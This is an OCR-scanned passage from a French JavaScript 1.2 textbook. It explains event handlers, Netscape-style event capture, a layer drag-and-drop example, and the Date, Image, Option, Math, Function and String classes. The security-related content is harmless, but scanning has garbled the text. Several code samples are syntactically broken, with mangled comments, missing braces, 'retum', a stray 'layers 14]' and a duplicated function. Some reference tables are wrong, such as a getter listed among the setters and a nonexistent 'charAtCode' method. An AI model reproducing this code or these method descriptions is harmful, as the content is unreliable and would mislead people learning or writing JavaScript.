onKeyUp onkeyup Est déclenché lorsque l'utilisateur relâche une touche.
onLoad onload Est déclenché lorsqu'un document (ou une image) commence
à se charger.
onMouseDown onmousedown Est déclenché lorsque l'utilisateur enfonce un des boutons de
la souris.
onMouseMove onmousemove Est déclenché lorsque l'utilisateur déplace la souris.
onMouseOut onmouseout Est déclenché lorsque la souris vient de passer au-dessus d'un
lien, d'une ancre ou d'une zone d'une carte cliquable et
qu'elle retourne sur le fond de la fenêtre.
onMouseOver onmouseover Est déclenché lorsque la souris passe au-dessus d'un lien,
d'une ancre ou d'une zone d'une carte cliquable.
onMouseUp onmouseup Est déclenché lorsque l'utilisateur relâche un des boutons de la
souris.
onMove onmove Est déclenché lorsqu'une fenêtre est déplacée.
onReset onreset Est déclenché au moment où l'utilisateur annule les données
saisies dans un formulaire.

343
 Programmation HTML et JavaScript

Attribut Propriété associée Description

onResize onresize Est déclenché lorsqu'une fenêtre ou une frame est redimen-
sionnée.
onSelect onselect Est déclenché lorsque l'utilisateur sélectionne du texte dans un
champ de saisie.
onSubmit onsubmit Est déclenché au moment où un formulaire est soumis.
onUnload onunload Est déclenché au moment où un document se décharge (c'est-
à-dire lors du chargement d'un nouveau document).

Figure 65 - Nouveaux attributs de balises

Pour la plupart de ces événements, le browser possède déjà un comportement par défaut.
Par exemple, l'événement onClick pour un lien hypertexte provoque le chargement du
document associé à ce lien. Lorsque vous ajoutez un gestionnaire d'événement à un
objet, au moment où cet événement survient, le browser exécute d'abord votre gestion­
naire, puis son gestionnaire par défaut.
Il est cependant possible d'indiquer au browser qu'on ne souhaite pas qu'il exécute le
gestionnaire par défaut. Il suffit pour cela que l'expression JavaScript, passée en paramè­
tre de l'attribut de gestion d'événements, retourne la valeur false. Dans l'exemple sui­
vant, lorsque l'utilisateur clique sur le lien hypertexte, on lui donne la possibilité de voir
le document associé au lien (comportement par défaut) ou d'annuler son choix (on
annule le comportement par défaut) :
<SCRIPT LANGUAGE="JavaScript1.2">
function Question() {
// La fonction confirm retourne false si l'utilisateur
// choisit d'annuler
return confirm( 'Attention ce document peut choquer les âmes
sensibles. Voulez-vous continuer ?')
}
</SCRIPT>
<A HREF="[Link]" onClick="return(Question()) ">
Histoires sombres...</A>

Attention cependant : il y a une exception à cette règle, lorsqu'on utilise le gestionnaire

d'événement onMouseOver en association avec la propriété status d'un objet Window.
Pour plus de détail, reportez-vous à status, page 309.

Modification dynamique d'un gestionnaire d'événement

Il est tout à fait possible de modifier dynamiquement, à l'aide de code JavaScript, un ges­
tionnaire d'événement. Comme le montre la figure 65, chaque gestionnaire est en fait
une propriété de l'objet auquel il est rattaché. En changeant la valeur de cette propriété,
on peut modifier le gestionnaire d'événement qui avait été initialement défini à l'aide de
code HTML ou JavaScript.
La syntaxe générale pour modifier la valeur d'un gestionnaire d'événement est finale­
ment assez simple :

344
JavaScript 1.2

[Link] = fonctionRef

objetRef est une référence vers un des objets du browser.

onevenement est un des gestionnaires d'événement de l'objet objetRef. Attention : con­
trairement aux nouveaux attributs de balises, les propriétés liées aux gestionnaires d'évé­
nement s'orthographient toujours en minuscules.
functionRef est une référence vers une fonction (soit un nom de fonction sans les paren­
thèses, soit une variable qui référence une fonction créée avec le constructeur Function(),
voir page 359). Etant donné la syntaxe utilisée, il est clair que la fonction référencée par
functionRef ne doit pas posséder d'arguments. functionRef peut aussi être la valeur null.
De cette façon, on va pouvoir supprimer un gestionnaire d'événement. Par exemple :
[Link][0].onclick=null

Reprenons l'exemple précédent :

<SCRIPT LANGUAGE="JavaScript1.2">
function Question() {
/ / L a fonction confirm retourne false
// si l'utilisateur choisit d'annuler
return confirm( 'Attention ce document peut choquer les âmes
sensibles. Voulez-vous continuer?1)
}
</ SCRIPT>
<A HREF="[Link]" onClick="return(Question())">
Histoires sombres...</A>

Dans cet exemple, on a un seul objet HTML. Il s'agit d'un lien hypertexte. Ce lien cor­
respond à l'objet [Link][0]. Cet objet possède une propriété onclick (et
non onClick !). Pour modifier, lors de l'exécution du script, le gestionnaire d'événement
qui avait été renseigné dans le document HTML, il suffit de donner à cette propriété une
valeur correspondant à une référence vers une fonction (en général il s'agit du nom de la
fonction sans les parenthèses, mais ce peut être aussi une variable qui référence une fonc­
tion créée avec le constructeur Function(), voir page 359). Dans l'exemple suivant, la
première fois que l'utilisateur clique sur le lien, on lui demande une confirmation. S'il a
refusé une première fois de voir le document et qu'il clique à nouveau, alors on lui mon­
tre le document après avoir affiché une fenêtre d'avertissement, mais sans lui demander
de confirmation.

<SCRIPT LANGUAGE="JavaScript1.2">
function Question() {
// On modifie le gestionnaire d'evenements du lien hypertexte
// en lui donnant pour valeur une reference vers une fonction
[Link][0].onclick=Voir
// La fonction confirm retourne false si
// l'utilisateur choisit d'annuler
return confirm('Attention ce document peut choquer les âmes

345
 Programmation HTML et JavaScript

sensibles. Voulez-vous continuer?')

}
function Voir() {
alert('Tr&egrave;s bien, vous l\'aurez voulu...')
}
</SCRIPT>
<A HREF="[Link]" onClick="return(Question()) ">
Histoires sombres...</A>

Figure 66 - Document [Link]

Capture d'événements
Il existe en JavaScript une hiérarchie entre les différentes entités capables de contenir des
objets. On a en fait trois entités principales, à savoir la fenêtre (objet Window), le docu­
ment (objet Document) et la couche (objet Layer). Une couche est toujours contenue
dans un document qui lui-même est toujours contenu dans une fenêtre. En général,
lorsqu'un événement survient, il est directement reçu par l'objet concerné. Lorsqu'on
clique sur un bouton, par exemple, ce bouton reçoit l'événement CLICK. Cependant
JavaScript offre la possibilité de faire intercepter, par une ou plusieurs des trois entités
sus-citées, les événements avant qu'ils ne soient reçus par les objets auxquels ils étaient
destinés à l'origine. On parle de capture d'événements.
On met en place une telle capture à l'aide de la méthode captureEvents(). La syntaxe est
la suivante :

[Link](Event.EVENT1 |... | [Link])

[Link](Event.EVENT1 |... | [Link])
[Link](Event.EVENT1 |... | [Link])

où Event est un objet préinstancié, qui contient une propriété pour chaque événement
([Link], [Link], [Link]...), et qui est utilisé pour indiquer les évé­
nements qu'on souhaite intercepter. Attention : notez que le nom de l'événement est le
nom de l'attribut de balise en majuscules et sans le préfixe on. Pour intercepter plusieurs
événements, on doit séparer les appels à l'objet Event par le caractère | (qui réalise un ou
binaire). Ainsi, si l'on veut qu'une fenêtre capture les événements MOUSEMOVE et
CLICK, on utilisera la commande suivante :

[Link]([Link] | [Link])

Une fois qu'on a fait appel à la méthode captureEvents(), on doit définir des gestionnai­
res d'événement pour les événements qu'on a capturés. Dans le cas de notre exemple
précédent, par exemple, en supposant qu'on ait déjà défini deux fonctions clickGest() et
mousemoveGest(), on aura :

[Link] = clickGest
[Link] = mousemoveGest

346
JavaScript 1.2

Il est désormais important de bien dissocier le gestionnaire d'événement par défaut, pré­
programmé par le browser, et les gestionnaires d'événement ajoutés par le développeur
(soit à l'aide d'une balise, soit à l'aide de code JavaScript).
Dans le gestionnaire d'événement qui gère un événement intercepté, il est possible de
diffuser l'événement capturé dans la hiérarchie des objets du browser jusqu'à rencontrer
un objet possédant un gestionnaire pour cet événement (autre qu'un gestionnaire prépro­
grammé !). On utilise pour cela la méthode routeEvent(). Cette méthode renvoie la valeur
retournée par le gestionnaire d'événement qui a finalement géré l'événement. La syntaxe
est tout simplement :

[Link]()
[Link]()
[Link]()

Plutôt que de diffuser l'événement dans la hiérarchie normale des objets du browser, il
est également possible de le rédiriger directement sur un objet donné :

[Link](evt)

objetCible est un objet possédant un gestionnaire d'événement (autre que le gestionnaire

préprogrammé !) pour l'événement evt.
evt est un objet event.

Enfin, le gestionnaire qui gère un événement intercepté doit terminer en renvoyant un

booléen. Si la valeur renvoyée est true, alors le gestionnaire d'événement préprogrammé
associé à cet événement est exécuté.
Si cette valeur est false, alors le gestionnaire d'événement préprogrammé associé à cet
événement n'est pas exécuté.

Voici deux exemples illustrant la capture d'événements. Le premier montre comment, en

capturant l'événement CLICK au niveau de la fenêtre, on va pouvoir désactiver les liens
hypertexte sans pour autant désactiver les boutons.
<SCRIPT LANGUAGE="JavaScript1.2">
function ignorelientotal(evt) {
/ / O n teste s'il s'agit d'un CLICK sur un bouton
// (la propriété type n'existe pas dans le cas d'un lien
if ([Link] == 'button') {
// Si c'est un bouton on diffuse l'evenement
// de façon à provoquer l'execution du gestionnaire
// d'evenement que l'on a programme (avec l'attribut
// onClick)
routeEvent(evt)
// On retourne true pour que le gestionnaire d'evenement
// preprogramme s'execute également (dans ce cas précis

347
 Programmation HTML et JavaScript

// cela n'est pas vraiment utile car un bouton n'a pas de

// gestionnaire d'evenement preprogramme) .
return true
}
// Si c'est un lien, on ne route pas 1'evenement et on
// renvoie false de façon qu'aucun gestionnaire ne s'execute
return false
}
function ignorelienpartiel(evt) {
/ / O n diffuse 1'evenement de façon eprovoquer l'execution du
// gestionnaire d'evenement que l'on a
// programme (avec l'attribut onClick)
// aussi bien pour les boutons que pour les liens
routeEvent(evt)
if ([Link] == 'button') {
return true
}
return false
}
</SCRIPT>
<FORM>
<CENTER>
<INPUT TYPE="button" VALUE="Desactiver les liens"
onClick= "[Link]([Link]) ;
[Link] = ignorelientotal">
<INPUT TYPE="button" VALUE="Désactiver les liens
(mais pas les gestionnaires d'evenements)"
onClick= "[Link](Event .CLICK) ;
[Link] = ignorelienpartiel">
<INPUT TYPE="button" VALUE="Activer les liens"
onClick="[Link]([Link]) ">
</FORM>
Appuyez donc <A HREF="[Link]" TARGET="exemple">ici</A>
ou
<A HREF="[Link]" TARGET="exemple"
onClick="alert('Je suis encore la')">l&agrave;</A>.
</CENTER>

Figure 67 - Document [Link]

Le second exemple est un peu plus complexe. Il simule un effet de glisser et déposer
(drag and drop) sur des images. Le document affiche un nombre composé de trois chif­
fres et propose à l'utilisateur de déplacer ces chiffres à l'aide de la souris afin d'afficher
le résultat d'une opération sur ce nombre.

Combien vaut le nombre ci-dessous multiplié par 12, divisé par 4 et

auquel on soustrait 156 ?

348
JavaScript 1.2

<LAYER left=10 top=100xIMG SRC="images/[Link]"></LAYER>

<LAYER left=70 top=100xIMG SRC="images/[Link]"></LAYER>
<LAYER left=130 top=100xIMG SRC= "images/[Link]"><LAYER>
<LAYER left=10 top=50xIMG SRC="images/[Link]"></LAYER>
<LAYER left=70 top=50xIMG SRC=" images/[Link]"></LAYER>
<LAYER left=130 top=50xIMG SRC= "images/[Link] "></LAYER>
<SCRIPT LANGUAGE="JavaScript1.2">
// Pour les trois chiffres du haut, on declare la gestion du
// drag and drop. Pour cela les layers capturent les evenements
// MOUSEDOWN et MOUSEUP qui correspondent au début et a la fin
// du drag and drop
for (i=3; i<[Link]; i++) {
[Link][i].captureEvents([Link])
[Link][i].onmousedown = beginDrag
[Link][i].onmouseup = endDrag
/ / O n rajoute 2 methodes a chaque couche
// range() emmène un layer a une position donnee en parametre
[Link][i].range = range
// ok() teste si un layer est suffisamment proche
// de sa position finale
[Link][i].ok = ok
}
// Declaration des positions initiales (par ajout des
// proprietes initX et initY)
[Link][3].initX = 10
[Link][3].initY = 50
[Link][4].initX =70
[Link][4].initY = 50
[Link][5].initX = 130
[Link][5].initY = 50
// Declaration des positions finales
// (par ajout des proprietes finX et finY)
[Link][4].finX = 10
[Link] 14].finY = 100
[Link][5].finX =70
[Link][5].finY = 100
[Link][3].finX = 130
[Link][3].finY = 100
// Déclenchement du Glisser
function beginDrag(e) {
[Link]([Link]);
[Link] = drag
/ / o n place le layer courant dans la variable globale current
current = this
// on memorise la position de la souris
[Link] = [Link]
[Link] = [Link]
return false

349
 Programmation HTML et JavaScript

// Gestion du Glisser
function drag(e) {
// on deplace le layer d'autant de pixels que s'est déplacee la
// souris
[Link]([Link], [Link])
[Link] = [Link];
[Link] = [Link];
}
// Gestion du Deposer
function endDrag(e) {
i f ([Link]()) {
// Si le layer est suffisamment proche de sa position
// finale, on le recale exactement sur la position
// finale
[Link]([Link], [Link])
// pour finir on annule la possibilité de drag and drop
// pour ce layer
[Link]([Link]) ;
} else {
// Sinon, retour à la case depart
[Link]([Link], [Link])
}
[Link]([Link]) ;
[Link] = null
return false
}
function range(toX, toY) {
// On fait un retour en douceur (en 20 etapes)
dx = (toX - [Link])/20
dy = (toY - [Link])/20
for (i=0 ; i<20; i++) {
[Link](dx, dy)
}
// Pour finir, on place exactement le layer
[Link] = toX
[Link] = toY
}
function ok() {
if (([Link]<[Link]+30)&&
([Link]>[Link]-10)&&
([Link]-<[Link]+30) &&
([Link]>[Link]-10)) {
return true

return false
}
</SCRIPT>

Figure 68 - Document [Link]

350
JavaScript 1.2

Les classes prédéfinies

Afin de gérer facilement les types de données complexes les plus courants (dates, ima­
ges...), JavaScript dispose de toute une série de classes prédéfinies. Pour chacune, il
existe un constructeur qui permet de créer des objets de la classe en question. Par exem­
ple, avec le constructeur Date(), on crée des objets de la classe Date. Un tel objet permet
de manipuler très simplement des dates. Voici la liste de toutes ces classes prédéfinies.

Date()
Constructeur
Pour manipuler une date avec JavaScript, il faut créer un objet de la classe Date. La créa­
tion d'un tel objet se fait de façon classique, en associant l'instruction new et le construc­
teur prédéfini Date().
La syntaxe pour la création d'un objet référençant la date actuelle est :
var nom_objet = new Date()

La syntaxe pour la création d'un objet référençant une date passée en paramètre est :
var nom_objet - new Date('Mois Jour_du_Mois, Année Heures:Minutes:Secondes')
var nom_objet = new Date(année, mois*, jour)
var nom_objet = new Date(année, mois', jour, heure, minute, seconde)

Il faut noter que, dans le premier cas, le nom du mois doit être précisé en anglais et en
toutes lettres. Dans les autres cas, tous les paramètres sont des entiers.
Attention : le mois est un entier compris en 0 et 11 et non entre 1 et 12 !

Une fois qu'on a créé un objet Date, on peut l'utiliser par l'intermédiaire des nombreuses
méthodes qu'il possède. On peut récupérer toutes les informations liées à cette date.

Méthodes
Les méthodes ci-dessous s'appliquent aux objets de la classe Date.

Description
Méthode
getDate() Retourne le jour du mois, compris entre 1 et 31.
getDay() Retourne le jour de la semaine, compris entre 0 et 6 (0 = Dimanche).
getHours() Retourne l'heure, comprise entre 0 et 23 .
getMinutes() Retourne les minutes, comprises entre 0 et 59 .
getMonth() Retourne le mois compris entre 0 et 11 (0 = Janvier).
getSeconds() Retourne les secondes comprises entre 0 et 59.
getTime(() Retourne le nombre de millisecondes écoulées depuis le 1er Janvier
1970.
getTimeZoneoffset() Retourne le nombre de minutes de décalage entre l'heure locale et
l'heure GMT.
getYear() Retourne le nombre d'années depuis 1900.

351
 Programmation HTML et JavaScript

Méthode Description
setDate() Affecte le jour du mois, compris entre 1 et 31.
getHours() Affecte l'heure, comprise entre 0 et 23.
setMinutes(minute) Affecte les minutes, comprises entre 0 et 59.
setMonth(mois) Affecte le mois compris entre 0 et 11 (0 = Janvier).
setSeconds(seconde) Affecte les secondes, comprises entre 0 et 59.
setTime(millisec) Affecte une date en indiquant le nombre de millisecondes écoulées
depuis le 1er Janvier 1970.
setYear (année) Affecte l'année (en indiquant le nombre d'années depuis 1900).
toGMTString() Retourne une chaîne indiquant la date en utilisant les conventions
GMT. Ex : Mon, 24 Dec 1996 23:58:59 GMT.
toLocateString() Retourne une chaîne indiquant la date en utilisant les conventions loca­
les. Ex : 24/12/96 23:59:59.

Il est également possible d'utiliser l'objet préinstancié Date. Il s'agit d'un objet déjà ins-
tancié qui possède seulement deux méthodes. La syntaxe d'utilisation de l'objet Date est
la suivante :
Date.nom_methode()

Méthode Description
UTC(année, mois, jour, Retourne le nombre de millisecondes écoulées depuis le 1er jan­
heure, min, sec) vier 1970 à partir des entiers passés en paramètres, année (nom­
bre d'années depuis 1900), mois (0-1 \), jour heure (0-
23), min (0-59), sec (0-59). Les trois derniers paramètres sont
optionnels.
parse(String) Retourne le nombre de millisecondes écoulées depuis le 1er jan­
vier 1970 à partir d'une chaîne de caractères. La chaîne a un for­
mat identique à l'exemple suivant :
Mon, 24 Dec 1996 23:59:59 GMT, ou plus simplement
Mon, 24 Dec 1996.

Exemple

<SCRIPT LANGUAGE="JavaScript1.2">
semaine = new Array('Dimanche', 'Lundi', 'Mardi', 'Mercredi',
'Jeudi','Vendredi', 'Samedi')
// Objet date pour l'an 2000
An2000 = new Date(2000,0,1)
// Objet date pour aujourd'hui
Aujourdhui = new Date()
// Quelques manipulations sur ces objets
[Link]('Aujourd\'hui nous sommes ' +
semaine[[Link]()] + '.<BR>')
[Link] ('Le 1 Janvier 2000 sera un ' +

352
JavaScript 1.2

semaine[[Link]()]+'.<BR>')
SecRest = [Link](([Link]()-[Link]())/1000)
JourRest = [Link](SecRest/(24*3600))
[Link]('Mais avant d\'y arriver il nous faudra attendre '+
SecRest + 'secondes, soit ' + JourRest +' jours...')
</SCRIPT>

Figure 69 - Document [Link]

Image()
L'objet Image est particulièrement intéressant, car il permet une gestion dynamique très
simple des graphiques insérés dans une page HTML. Avec un tel objet, on peut charger
des images à travers le réseau, un peu comme on le fait avec la balise <IMG>. Le fichier
contenant l'image est indiqué à l'aide d'une URL. L'image rapatriée est décodée mais,
contrairement à ce qui se passe avec la balise <IMG>, elle n'est pas affichée ; elle est
seulement stockée en mémoire (ou plutôt en cache). On pourra l'utiliser par la suite pour
remplacer une image insérée avec une balise <IMG> sans avoir à recharger un nouveau
document HTML. Cela permet de réaliser très simplement des animations, des effets gra­
phiques, et constitue l'un des points les plus visuels dans l'utilisation de JavaScript.

Constructeur
La création d'un objet Image se fait de façon classique, en associant l'instruction new et
le constructeur prédéfini Image().
Syntaxe :
var nom_objet = new lmage()

Une fois qu'on a créé un objet Image, il suffit d'indiquer l'URL référençant l'image, de
façon qu'elle soit chargée à travers le réseau et stockée dans cet objet. Cela se fait en uti­
lisant la propriété src.

Propriétés
La classe Image a quatre propriétés dont voici le détail :

353
 Programmation HTML et JavaScript

Propriétés Description
src Chaîne de caractères contenant l'URL du fichier image à charger. Le
chargement de l'image débute dès que cette chaîne est renseignée.
Attention : le chargement n'est pas bloquant : JavaScript n'attend pas que
l'image soit entièrement chargée pour passer à l'instruction suivante !
height Hauteur de l'image en pixels.
width Largeur de l'image en pixels.
complete Booléen indiquant si le chargement de l'image est terminé (complete vaut
false tant que l'image se charge et true une fois qu'elle est chargée).

Pour remplacer le contenu d'une image insérée avec une balise <IMG>, on se contente
de modifier la propriété src de l'objet du browser associé à cette image en lui donnant la
valeur de la propriété src d'un objet Image préalablement créé (et dont l'image aura donc
déjà été chargée en mémoire). Par exemple :
<SCRIPT LANGUAGE="JavaScript1.2">
danang = new Image ( )
[Link]='[Link]'
</SCRIPT>
<IMG SRC="[Link]" NAME="photo">
<A HREF=
"JavaScript :void ([Link] = [Link] )" >
On change</A>
Gestionnaires d'événement
Les objets Image possèdent trois gestionnaires d'événement, onabort, onerror et onload,
qui permettent de provoquer des actions respectivement lors de l'arrêt par l'utilisateur du
chargement (quand l'utilisateur appuie sur le bouton STOP du browser), lors d'erreurs de
chargement, et enfin lors du début du chargement. Ces gestionnaires s'utilisent comme
des méthodes qui prendraient pour valeur le nom d'une fonction (en quelque sorte un
pointeur vers une fonction).

Syntaxe :
obj_image.onevenement = nom_fonction

Gestionnaire Description
onabort La fonction donnée comme valeur de ce gestionnaire est lancée lorsque le
chargement de l'image est interrompu par l'utilisateur.
onerror La fonction donnée comme valeur de ce gestionnaire est lancée
lorsqu'une erreur se produit lors du chargement de l'image.
onload La fonction donnée comme valeur de ce gestionnaire est lancée au
moment où commence le chargement de l'image, c'est-à-dire lorsqu'on
renseigne la propriété src de l'objet.

354
JavaScript 1.2

Exemple
Voici l'exemple d'une carte cliquable qui possède deux zones sensibles. Lorsqu'on passe
la souris sur une zone, une petite photo l'illustrant s'affiche en bas à gauche du docu­
ment.

<HEAD><SCRIPT langage="JavaScript1.2">
// Fonction d'affichage des imagettes
function afficheImagette(image) {
[Link] = [Link]
[Link] = [Link]
}
// Si le chargement d'une image est interrompu, on avertit
// l'utilisateur que la page risque de ne pas etre aussi belle
// que prévu
function messErreur() {
alert('Le chargement de l'image' + [Link] +
' a échoué !\nCette image ne peut pas être affichée...')
}
/ / O n modifie la classe Image de façon a rajouter une propriete
// commentaire et à mettre une valeur par défaut pour les événements
// onError et onAbort
[Link]=null
[Link]=messErreur
[Link]=messErreur
/ / Chargement des imagettes
hanoi = new Image()
[Link] = 'images/[Link]'
[Link] = 'La région de Hanoi'
laocai = new Image()
[Link] = 'images/[Link]'
[Link] = 'La région des montagnes du nord'
drapeau = new Image()
[Link] = 'images /[Link]'
[Link] = ''
</SCRIPT></HEAD>
<BODY BGCOLOR= #FFFFFF LINK=#0078A0 VLINK=#0078A0>
<MAP NAME="MAP">
<AREA SHAPE=RECT COORDS=110, 1,180, 3 0 HREF= "[Link]"
onMouseOver="affichelmagette(laocai); return true;"
onMouseOut="affichelmagette(drapeau)">
<AREA SHAPE=RECT COORDS=140,60,190,86 HREF="[Link]"
onMouseOver="affichelmagette(hanoi); return true;"
onMouseOut ="afficheImagette(drapeau)">
</MAP>
<IMG SRC="images/[Link]" ALIGN="left" BORDER=0 USEMAP="#MAP">
<H1 ALIGN=CENTER>Le Vietnam</H1>
<HR WIDTH=50%>
<BR><BR>Voici un petit exemple illustrant l'usage des objets

355
 Programmation HTML et JavaScript

<B><I>Image</I></B>. Glissez la souris

sur la ville de Lao Cai ou de Hanoi pour avoir un aperçu des possibi­
lités de ces objets. . .<BR><BR>
<CENTER><IMG SRC="images/[Link]" NAME="imagette"></CENTER>
<BR>
</BODY>
Figure 70 - Document [Link]

Option()
Les objets Option permettent d'ajouter des éléments dans les listes créées à l'aide des
balises <SELECT>...</SELECT>. Le principe consiste à créer un objet Option, en préci­
sant toutes les valeurs utiles, puis à l'insérer dans le tableau options[] décrivant les élé­
ments de la liste à modifier. La syntaxe pour créer un nouvel objet Option est la
suivante :
var nom_option = new Option(texte, valeur, selectionne_par_defaut, sélectionne)

texte est le texte qui sera affiché lorsque l'élément sera inséré dans la liste.
valeur est la valeur qui sera renvoyée au serveur au moment de la soumission du formu­
laire contenant cette liste.
selectionne_par_defaut est un booléen qui indique si cet élément doit être systématique­
ment sélectionné lorsqu'on recharge le document.
selectionne est un booléen qui indique si cet élément devra être sélectionné lorsqu'il sera
inséré dans la liste.

356
JavaScript 1.2

Les détails et exemples d'utilisation des objets Option sont donnés avec la description de
la balise <SELECT> (voir <SELECT> et <OPTION>, page 212).

Math
Il s'agit d'une classe un peu particulière. En effet, elle ne possède pas de constructeur.
C'est une classe déjà instanciée, qui ne possède qu'un seul objet (ce qui signifie que vous
ne créez jamais d'objet de cette classe avec l'instruction new). Cet objet possède des pro­
priétés et des méthodes, qui sont en fait des constantes et des fonctions mathématiques
classiques.

Propriétés
Les propriétés de l'objet Math sont les principales constantes mathématiques. La syntaxe
pour utiliser une constante est la suivante :
Math. Nom_de_ Constante

Voici la liste des constantes disponibles :

Propriété Description
E Constante d'Euler (c'est-à-dire e1).
LN10 Logarithme népérien de 10 (c'est-à-dire ln(10)).
LN2 Logarithme népérien de 2 (c'est-à-dire ln(2)).
PI PI, c'est-à-dire le rapport de la circonférence d'un cercle sur son diamè­
tre.
SQRT1_2 Racine carrée de 1/2.
SQRT2 Racine carrée de 2.

Méthodes
Les méthodes de l'objet Math sont les principales fonctions mathématiques. La syntaxe
pour utiliser une fonction est la suivante :
Math. Nom_de_Fonction(arg1,.. .,argN)

Voici la liste des fonctions disponibles :

Méthode Description
abs(nombre) Retourne la valeur absolue de l'argument nombre
acos(nombre) Retourne l'arc cosinus de l'argument nombre si nombre est compris
entre -1 et 1, 0 sinon.
asin(nombre) Retourne l'arc sinus de l'argument nombre si nombre est compris entre
-1 et 1,0 sinon.
atan(nombre) Retourne l'arc tangente de l'argument nombre.
atan2( x, y) Retourne l'angle θ associé aux coordonnées polaires (p,0) du point de
coordonnées catésiennes (x, y)
ceil(nombre) Retourne le plus petit entier supérieur ou égal à l'argument nombre.
cos(nombre) Retourne le cosinus de l'argument nombre.

357
 Programmation HTML et JavaScript

Description
exp(nombre) Retourne l'exponentielle de l'argument nombre (c'est-à-dire enornbre).
floor {nombre) Retourne le plus grand entier inférieur à l'argument nombre.
log Retourne le logarithme de l'argument nombre.
max(nombre1, nombre2) Retourne le plus grand des deux arguments nombre 1 et nombre2.
min (nombre1, nombre2) Retourne le plus plus des deux arguments nombrel et nombre2.
pow(base, exposant) Retourne base à la puissance exposant (c'est-à-dire basenombre ou
encore eexposant *ln(base)).
random() Retourne un nombre pseudo-aléatoire compris entre 0 et 1.
round Retourne l'entier le plus proche de l'argument nombre.
sin(nombre) Retourne le sinus de l'argument nombre.
sqrt(nombre) Retourne la racine carrée de l'argument nombre.
tan (nombre) Retourne la tangente de l'argument nombre.

Exemple
Voici un petit exemple dans lequel nous définissons les classes Cercle, Rectangle. Ces
deux classes possèdent les méthodes surface et perimetre qui permettent de calculer res­
pectivement la surface et le périmètre.

<SCRIPT LANGUAGE="JavaScript1.2">
// Définition de la classe Cercle
function Cercle(rayon) {
// Proprietes
[Link] = rayon
// Methodes
[Link] = surfcerc
[Link] = pericerc
}
// Définition de la classe Rectangle
function Rectangle(a, b) {
// Proprietes
if (a > b) {
[Link] = a
[Link] = b
} else {
[Link] = b
[Link] = a
}
// Methodes
[Link] = surfrect
[Link] = perirect
[Link] = diagorect
}
function pericerc() {
retum (2*[Link]*[Link])

358
JavaScript 1.2

}
function perirect(rayon) {
return (2*([Link]+[Link]))
}
function surfcerc() {
return ([Link]*[Link]([Link], 2))
}
function perirect(rayon) {
return (2 *([Link]+[Link]))
}
function surfrect() {
return ([Link]*[Link])
}
function diagorect() {
return ([Link]([Link]([Link],2)+
[Link]([Link], 2 ) ) )
}
/ / On instancie maintenant un cercle et un rectancle
mon_rectangle = new Rectangle(3,4)
mon_cercle = new Cercle(5)
// On affiche maintenant leur perimetre et surface:
[Link]('Le cercle de rayon '
+ mon_cercle.rayon + ' a pour surface '
+ mon_cercle.surface() + ' et pour perimetre
+ mon_cercle.perimetre() + '.')
[Link]('<BR>')
[Link]('Le rectangle de longueur '
+ mon_rectangle.longueur + ' et de largeur '
+ mon_rectangle.largeur + ' a pour surface '
+ mon_rectangle.surface() + ', pour perimetre
+ mon_rectangle.perimetre() + ' et pour diago­
nale '
+ mon_rectangle.diagonale() + '.')
</SCRIPT>

Lorsqu'on doit utiliser de nombreuses fois l'objet Math, il est intéressant de faire d'abord
appel à l'instruction with (voir with, page 396).

Function()
Le constructeur Function() est un peu particulier. Il permet de créer des fonctions dyna­
miquement, lors de l'exécution du code JavaScript.

Constructeur
La syntaxe pour créer dynamiquement une nouvelle fonction est la suivante :
nomjonction = new Function(arg1,..., argN, corps_de_fonction)

359
 Programmation HTML et JavaScript

Les N premiers arguments (arg1 à argN) sont des chaînes de caractères qui désignent les
arguments de la fonction. Le dernier argument est une chaîne de caractères contenant le
code JavaScript de la fonction à créer. Par exemple, le code
difference = new Function('a', 'b', 'return a - b')

définit une fonction dont la définition statique aurait été :

function difference(a, b) {
return a - b
}
Exemple
Pour illustrer le constructeur Function(), voici un petit exemple :

<SCRIPT LANGUAGE="JavaScript1.2">
// Cette fonction définit les gestionnaires d'evenement
// onfocus et onblur pour toutes les frames du document
// Avec ces gestionnaires, le fond de la fenetre qui prend
// le focus devient jaune, le fond de la fenetre qui perd
// le focus devient blanc.

function creeGestEvt() {
for (var i = 0; i < [Link]; i++) {
frames[i].onfocus = new Function("[Link],bgColor='yel-
low' ; [Link]()")
frames[i].onblur = new Function("[Link]-
lor='white' ; [Link]()")
}
// On donne le focus à la premiere frame
frames[0].focus()
}
</SCRIPT>
<!-- Au moment du chargement, on configure les gestionnaires
d'evenement des frames -->
<FRAMESET ROWS="*,*" COLS="*,*" onLoad=creeGestEvt()
BORDER=0 FRAMEBORDER=NO>
<FRAME SRC="[Link]">
<FRAME SRC="[Link]">
<FRAME SRC="[Link]">
<FRAME SRC="[Link]">
</FRAMESET>

Figure 71 - Document [Link]

360
JavaScript 1.2

Les chaînes de caractères comme objets

Comme nous l'avons vu page 291, il n'est pas nécessaire d'utiliser de constructeur pour
créer une chaîne de caractères. Cependant, afin de respecter la syntaxe objet, il est tout de
même préférable d'utiliser le constructeur String() pour créer une nouvelle chaîne.

Constructeur
La création d'un objet chaîne de caractères se fait de façon classique, en associant l'ins­
truction new et le constructeur prédéfini String().
Syntaxe :
var nom_chaine = new String('chaine de caractères')

Ainsi, pour créer une chaîne de caractères, on préférera écrire :

var pays = new String('Vietnam')
plutôt que :
var pays = 'Vietnam'
même si dans les faits les deux écritures sont équivalentes.

Propriété
Les objets chaînes de caractères ne possèdent qu'une seule propriété, length qui indique
le nombre de caractères de la chaîne. Voici la syntaxe de cette propriété :
nom_de_chaine. length
ou
'Voici une chaîne'.length

Propriété Description
length Nombre de caractères dans la chaîne de caractères.

Méthodes
Les objets chaînes de caractères possèdent de nombreuses méthodes, dont une grande
partie est destinée à formater la chaîne selon une balise HTML. Par exemple, la méthode

361
 Programmation HTML et JavaScript

bold() appliquée à une chaîne de caractères retournera cette chaîne insérée dans les bali­
ses <B>...</B>.

Voici la liste des méthodes disponibles :

Méthode
charAt(index) Retourne le caractère présent à la position index. Soit le code suivant :
var chaine = new String('abcde')

[Link](0) retournera 'a' et [Link](4) retournera 'e'.

charAtCode(index) Retourne l'entier correspondant au code (selon la table ISO-Latin-1) du
caractère présent à la position index. Soit le code suivant :
var chaine = new String('été')

[Link] At(0) retournera 233. Attention : sur certaines plate-formes,

pour les valeurs supérieures à 127 (c'est-à-dire hors de la table ASCII clas­
sique), la valeur retournée est le code ISO-Latin-1 moins 256. Dans l'exem­
ple précédent la valeur serait -23.
concat(chaîne1) Retourne la chaîne à laquelle on applique la méthode concaténée à la chaîne
chaîne1. Soit le code suivant :
var chaine0 = new String('ces serpents ')
var chaine1 = new Stringfqui sifflent')

[Link](chaine1) retournera la chaîne 'ces serpents qui sifflent'.

